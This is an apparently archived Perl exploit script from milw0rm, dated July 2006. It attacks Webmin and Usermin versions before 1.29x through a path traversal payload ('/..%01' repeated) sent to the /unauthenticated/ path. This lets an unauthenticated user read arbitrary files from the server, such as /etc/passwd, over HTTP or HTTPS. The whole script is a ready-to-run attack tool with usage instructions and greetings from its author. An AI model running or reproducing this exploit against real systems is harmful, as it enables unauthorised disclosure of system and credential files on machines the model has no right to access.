Ctq02872

1#!/usr/bin/perl
2#       Exploit for WEBMIN and USERMIN  less than 1.29x           
3#       ARBITARY REMOTE FILE DISCLOSURE
4#       WORKS FOR HTTP AND HTTPS (NOW)      
5#       Thrusday 13th  July 2006
6#       Vulnerability Disclosure at securitydot.net
7#       Coded by UmZ! umz32.dll _at_ gmail.com
8#       
9#   
10#
11#       Make sure you have LWP before using this exploit.
12#       USE IT AT YOUR OWN RISK
13#
14#       GREETS to wiseguy, Anonymous Individual, Uquali......Jhant... Fakhru... etc........................
15#       for other.. like AHMED n FAIZ ... (GET A LIFE MAN).
16 
17 
18 
19#       Revised on Friday 14th July 2006
20use LWP::Simple;
21use LWP::UserAgent;
22my $userag = LWP::UserAgent->new;
23   
24if (@ARGV < 4) { 
25                    print("Usage: $0 <url> <port> <filename> <target> \n"); 
26                    print("TARGETS are\n ");
27            print("0  - > HTTP \n");
28            print(" 1  - > HTTPS\n");
29            print("Define full path with file name \n");
30            print("Example: ./webmin.pl blah.com 10000 /etc/passwd\n");
31            exit(1); 
32                    } 
33 
34                    ($target, $port,$filename, $tar) = @ARGV;
35 
36        print("WEBMIN EXPLOIT !!!!! coded by UmZ!\n");
37        print("Comments and Suggestions are welcome at umz32.dll [at] gmail.com\n");
38        print("Vulnerability disclose at securitydot.net\nI am just coding it in perl 'cuz I hate PHP!\n");
39        print("Attacking $target on port $port!\n");
40        print("FILENAME:  $filename\n");
41         
42 
43        $temp="/..%01" x 40;
44         
45        if ($tar == '0')
46            { my $url= "http://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
47            $content=get $url;
48 
49            print("\n FILE CONTENT STARTED");
50            print("\n -----------------------------------\n");
51 
52            print("$content");
53            print("\n -------------------------------------\n");
54            }
55 
56         
57        elsif ($tar == '1')
58             {
59            my $url= "https://". $target. ":" . $port ."/unauthenticated/".$temp . $filename;
60            my $req = HTTP::Request->new(GET => $url);
61            my $res = $userag->request($req);
62            if ($res->is_success) {
63                print("FILE CONTENT STARTED\n");
64                print("-------------------------------------------\n");
65                print $res->as_string;
66                print("-------------------------------------------\n");
67                        }
68            else {
69                print "Failed: ", $res->status_line, "\n";
70                 }
71            }
72 
73# milw0rm.com [2006-07-15]